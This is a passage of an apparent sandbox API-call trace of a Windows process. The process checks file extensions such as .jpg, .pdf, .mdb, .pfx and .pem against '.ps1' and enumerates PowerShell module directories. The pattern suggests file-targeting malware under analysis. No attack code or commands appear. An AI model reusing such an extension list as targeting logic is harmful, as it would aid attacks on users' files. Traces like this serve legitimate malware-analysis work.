lstrcmpiW (lpString1=".jp2", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".jpc") returned 4 [0196.131] lstrcmpiW (lpString1=".jpc", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".jpe") returned 4 [0196.132] lstrcmpiW (lpString1=".jpe", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".jpeg") returned 5 [0196.132] lstrcmpiW (lpString1=".jpeg", lpString2="s.ps1") returned -1 [0196.132] lstrlenW (lpString=".jpf") returned 4 [0196.132] lstrcmpiW (lpString1=".jpf", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".jpg") returned 4 [0196.132] lstrcmpiW (lpString1=".jpg", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".jpx") returned 4 [0196.132] lstrcmpiW (lpString1=".jpx", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".js") returned 3 [0196.132] lstrcmpiW (lpString1=".js", lpString2="ps1") returned -1 [0196.132] lstrlenW (lpString=".jsf") returned 4 [0196.132] lstrcmpiW (lpString1=".jsf", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".json") returned 5 [0196.132] lstrcmpiW (lpString1=".json", lpString2="s.ps1") returned -1 [0196.132] lstrlenW (lpString=".jsp") returned 4 [0196.132] lstrcmpiW (lpString1=".jsp", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".kdc") returned 4 [0196.132] lstrcmpiW (lpString1=".kdc", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".kmz") returned 4 [0196.132] lstrcmpiW (lpString1=".kmz", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".kwm") returned 4 [0196.132] lstrcmpiW (lpString1=".kwm", lpString2=".ps1") returned -1 [0196.132] lstrlenW (lpString=".lasso") returned 6 [0196.132] lstrcmpiW (lpString1=".lasso", lpString2="ts.ps1") returned -1 [0196.133] lstrlenW (lpString=".lbi") returned 4 [0196.133] lstrcmpiW (lpString1=".lbi", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".lgf") returned 4 [0196.133] lstrcmpiW (lpString1=".lgf", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".lgp") returned 4 [0196.133] lstrcmpiW (lpString1=".lgp", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".log") returned 4 [0196.133] lstrcmpiW (lpString1=".log", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".m1v") returned 4 [0196.133] lstrcmpiW (lpString1=".m1v", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".m4a") returned 4 [0196.133] lstrcmpiW (lpString1=".m4a", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".m4v") returned 4 [0196.133] lstrcmpiW (lpString1=".m4v", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".max") returned 4 [0196.133] lstrcmpiW (lpString1=".max", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".md") returned 3 [0196.133] lstrcmpiW (lpString1=".md", lpString2="ps1") returned -1 [0196.133] lstrlenW (lpString=".mda") returned 4 [0196.133] lstrcmpiW (lpString1=".mda", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".mdb") returned 4 [0196.133] lstrcmpiW (lpString1=".mdb", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".mde") returned 4 [0196.133] lstrcmpiW (lpString1=".mde", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".mdf") returned 4 [0196.133] lstrcmpiW (lpString1=".mdf", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".mdw") returned 4 [0196.133] lstrcmpiW (lpString1=".mdw", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".mef") returned 4 [0196.133] lstrcmpiW (lpString1=".mef", lpString2=".ps1") returned -1 [0196.133] lstrlenW (lpString=".mft") returned 4 [0196.134] lstrcmpiW (lpString1=".mft", lpString2=".ps1") returned -1 [0196.134] lstrlenW (lpString=".mfw") returned 4 [0196.134] lstrcmpiW (lpString1=".mfw", lpString2=".ps1") returned -1 [0196.134] lstrlenW (lpString=".mht") returned 4 [0196.134] lstrcmpiW (lpString1=".mht", lpString2=".ps1") returned -1 [0196.134] lstrlenW (lpString=".mhtml") returned 6 [0196.134] lstrcmpiW (lpString1=".mhtml", lpString2="ts.ps1") returned -1 [0196.134] lstrlenW (lpString=".mka") returned 4 [0196.134] lstrcmpiW (lpString1=".mka", lpString2=".ps1") returned -1 [0196.134] lstrlenW (lpString=".mkidx") returned 6 [0196.134] lstrcmpiW (lpString1=".mkidx", lpString2="ts.ps1") returned -1 [0196.134] lstrlenW (lpString=".mkv") returned 4 [0196.134] lstrcmpiW (lpString1=".mkv", lpString2=".ps1") returned -1 [0196.134] lstrlenW (lpString=".mos") returned 4 [0196.134] lstrcmpiW (lpString1=".mos", lpString2=".ps1") returned -1 [0196.134] lstrlenW (lpString=".mov") returned 4 [0196.134] lstrcmpiW (lpString1=".mov", lpString2=".ps1") returned -1 [0196.134] lstrlenW (lpString=".mp3") returned 4 [0196.134] lstrcmpiW (lpString1=".mp3", lpString2=".ps1") returned -1 [0196.134] lstrlenW (lpString=".mp4") returned 4 [0196.134] lstrcmpiW (lpString1=".mp4", lpString2=".ps1") returned -1 [0196.134] lstrlenW (lpString=".mpeg") returned 5 [0196.134] lstrcmpiW (lpString1=".mpeg", lpString2="s.ps1") returned -1 [0196.134] lstrlenW (lpString=".mpg") returned 4 [0196.134] lstrcmpiW (lpString1=".mpg", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".mpv") returned 4 [0196.135] lstrcmpiW (lpString1=".mpv", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".mrw") returned 4 [0196.135] lstrcmpiW (lpString1=".mrw", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".msg") returned 4 [0196.135] lstrcmpiW (lpString1=".msg", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".mxl") returned 4 [0196.135] lstrcmpiW (lpString1=".mxl", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".myd") returned 4 [0196.135] lstrcmpiW (lpString1=".myd", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".myi") returned 4 [0196.135] lstrcmpiW (lpString1=".myi", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".nef") returned 4 [0196.135] lstrcmpiW (lpString1=".nef", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".nrw") returned 4 [0196.135] lstrcmpiW (lpString1=".nrw", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".obj") returned 4 [0196.135] lstrcmpiW (lpString1=".obj", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".odb") returned 4 [0196.135] lstrcmpiW (lpString1=".odb", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".odc") returned 4 [0196.135] lstrcmpiW (lpString1=".odc", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".odm") returned 4 [0196.135] lstrcmpiW (lpString1=".odm", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".odp") returned 4 [0196.135] lstrcmpiW (lpString1=".odp", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".ods") returned 4 [0196.135] lstrcmpiW (lpString1=".ods", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".oft") returned 4 [0196.135] lstrcmpiW (lpString1=".oft", lpString2=".ps1") returned -1 [0196.135] lstrlenW (lpString=".one") returned 4 [0196.136] lstrcmpiW (lpString1=".one", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".onepkg") returned 7 [0196.136] lstrcmpiW (lpString1=".onepkg", lpString2="sts.ps1") returned -1 [0196.136] lstrlenW (lpString=".onetoc2") returned 8 [0196.136] lstrcmpiW (lpString1=".onetoc2", lpString2="ests.ps1") returned -1 [0196.136] lstrlenW (lpString=".opt") returned 4 [0196.136] lstrcmpiW (lpString1=".opt", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".oqy") returned 4 [0196.136] lstrcmpiW (lpString1=".oqy", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".orf") returned 4 [0196.136] lstrcmpiW (lpString1=".orf", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".p12") returned 4 [0196.136] lstrcmpiW (lpString1=".p12", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".p7b") returned 4 [0196.136] lstrcmpiW (lpString1=".p7b", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".p7c") returned 4 [0196.136] lstrcmpiW (lpString1=".p7c", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".pam") returned 4 [0196.136] lstrcmpiW (lpString1=".pam", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".pbm") returned 4 [0196.136] lstrcmpiW (lpString1=".pbm", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".pct") returned 4 [0196.136] lstrcmpiW (lpString1=".pct", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".pcx") returned 4 [0196.136] lstrcmpiW (lpString1=".pcx", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".pdd") returned 4 [0196.136] lstrcmpiW (lpString1=".pdd", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".pdf") returned 4 [0196.136] lstrcmpiW (lpString1=".pdf", lpString2=".ps1") returned -1 [0196.136] lstrlenW (lpString=".pdp") returned 4 [0196.136] lstrcmpiW (lpString1=".pdp", lpString2=".ps1") returned -1 [0196.137] lstrlenW (lpString=".pef") returned 4 [0196.137] lstrcmpiW (lpString1=".pef", lpString2=".ps1") returned -1 [0196.137] lstrlenW (lpString=".pem") returned 4 [0196.137] lstrcmpiW (lpString1=".pem", lpString2=".ps1") returned -1 [0196.137] lstrlenW (lpString=".pff") returned 4 [0196.137] lstrcmpiW (lpString1=".pff", lpString2=".ps1") returned -1 [0196.137] lstrlenW (lpString=".pfm") returned 4 [0196.137] lstrcmpiW (lpString1=".pfm", lpString2=".ps1") returned -1 [0196.137] lstrlenW (lpString=".pfx") returned 4 [0196.137] lstrcmpiW (lpString1=".pfx", lpString2=".ps1") returned -1 [0196.137] lstrlenW (lpString=".pgm") returned 4 [0196.137] lstrcmpiW (lpString1=".pgm", lpString2=".ps1") returned -1 [0196.137] lstrlenW (lpString=".php") returned 4 [0196.137] lstrcmpiW (lpString1=".php", lpString2=".ps1") returned -1 [0196.137] lstrlenW (lpString=".php3") returned 5 [0196.137] lstrcmpiW (lpString1=".php3", lpString2="s.ps1") returned -1 [0196.137] lstrlenW (lpString=".php4") returned 5 [0196.137] lstrcmpiW (lpString1=".php4", lpString2="s.ps1") returned -1 [0196.137] lstrlenW (lpString=".php5") returned 5 [0196.137] lstrcmpiW (lpString1=".php5", lpString2="s.ps1") returned -1 [0196.137] lstrlenW (lpString=".phtml") returned 6 [0196.137] lstrcmpiW (lpString1=".phtml", lpString2="ts.ps1") returned -1 [0196.137] lstrlenW (lpString=".pict") returned 5 [0196.137] lstrcmpiW (lpString1=".pict", lpString2="s.ps1") returned -1 [0196.137] lstrlenW (lpString=".pl") returned 3 [0196.137] lstrcmpiW (lpString1=".pl", lpString2="ps1") returned -1 [0196.137] lstrlenW (lpString=".pls") returned 4 [0196.137] lstrcmpiW (lpString1=".pls", lpString2=".ps1") returned -1 [0196.137] lstrlenW (lpString=".pm") returned 3 [0196.137] lstrcmpiW (lpString1=".pm", lpString2="ps1") returned -1 [0196.138] lstrlenW (lpString=".png") returned 4 [0196.138] lstrcmpiW (lpString1=".png", lpString2=".ps1") returned -1 [0196.138] lstrlenW (lpString=".pnm") returned 4 [0196.138] lstrcmpiW (lpString1=".pnm", lpString2=".ps1") returned -1 [0196.138] lstrlenW (lpString=".pot") returned 4 [0196.138] lstrcmpiW (lpString1=".pot", lpString2=".ps1") returned -1 [0196.138] lstrlenW (lpString=".potm") returned 5 [0196.138] lstrcmpiW (lpString1=".potm", lpString2="s.ps1") returned -1 [0196.138] lstrlenW (lpString=".potx") returned 5 [0196.138] lstrcmpiW (lpString1=".potx", lpString2="s.ps1") returned -1 [0196.138] lstrlenW (lpString=".ppa") returned 4 [0196.138] lstrcmpiW (lpString1=".ppa", lpString2=".ps1") returned -1 [0196.138] lstrlenW (lpString=".ppam") returned 5 [0196.138] lstrcmpiW (lpString1=".ppam", lpString2="s.ps1") returned -1 [0196.138] lstrlenW (lpString=".ppm") returned 4 [0196.138] lstrcmpiW (lpString1=".ppm", lpString2=".ps1") returned -1 [0196.138] lstrlenW (lpString=".pps") returned 4 [0196.138] lstrcmpiW (lpString1=".pps", lpString2=".ps1") returned -1 [0196.138] lstrlenW (lpString=".ppsm") returned 5 [0196.138] lstrcmpiW (lpString1=".ppsm", lpString2="s.ps1") returned -1 [0196.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.325] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0196.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.326] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0196.326] FindClose (in: hFindFile=0x4420a20 | out: hFindFile=0x4420a20) returned 1 [0196.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.326] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0196.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0196.358] FindNextFileW (in: hFindFile=0x4420460, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0 [0196.358] FindClose (in: hFindFile=0x4420460 | out: hFindFile=0x4420460) returned 1 [0196.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0196.360] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0196.360] FindClose (in: hFindFile=0x44200a0 | out: hFindFile=0x44200a0) returned 1 [0196.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0196.360] FindNextFileW (in: hFindFile=0x44206e0, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0196.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0196.373] FindNextFileW (in: hFindFile=0x4420620, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0196.374] FindClose (in: hFindFile=0x4420620 | out: hFindFile=0x4420620) returned 1 [0196.374] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0196.374] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0196.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0196.379] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0196.379] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0196.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0196.382] FindNextFileW (in: hFindFile=0x44206e0, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0196.386] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0196.386] FindNextFileW (in: hFindFile=0x4420460, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0196.386] FindClose (in: hFindFile=0x4420460 | out: hFindFile=0x4420460) returned 1 [0196.386] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0196.386] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0196.386] FindClose (in: hFindFile=0x44200a0 | out: hFindFile=0x44200a0) returned 1 [0196.386] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0196.386] FindNextFileW (in: hFindFile=0x4420520, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0196.388] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0196.388] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0196.388] FindClose (in: hFindFile=0x4420860 | out: hFindFile=0x4420860) returned 1 [0196.388] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0196.388] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0196.388] FindClose (in: hFindFile=0x44205a0 | out: hFindFile=0x44205a0) returned 1 [0196.388] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0196.388] FindNextFileW (in: hFindFile=0x4420520, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0196.388] FindClose (in: hFindFile=0x4420520 | out: hFindFile=0x4420520) returned 1 [0196.388] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0196.390] FindNextFileW (in: hFindFile=0x44206e0, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0196.390] FindClose (in: hFindFile=0x44206e0 | out: hFindFile=0x44206e0) returned 1 [0196.390] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.390] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0196.390] FindClose (in: hFindFile=0x4420a20 | out: hFindFile=0x4420a20) returned 1 [0196.390] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.390] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0 [0196.390] FindClose (in: hFindFile=0x4421020 | out: hFindFile=0x4421020) returned 1 [0196.390] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0196.390] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0196.390] FindClose (in: hFindFile=0x4420da0 | out: hFindFile=0x4420da0) returned 1 [0196.390] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0196.391] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff584 | out: 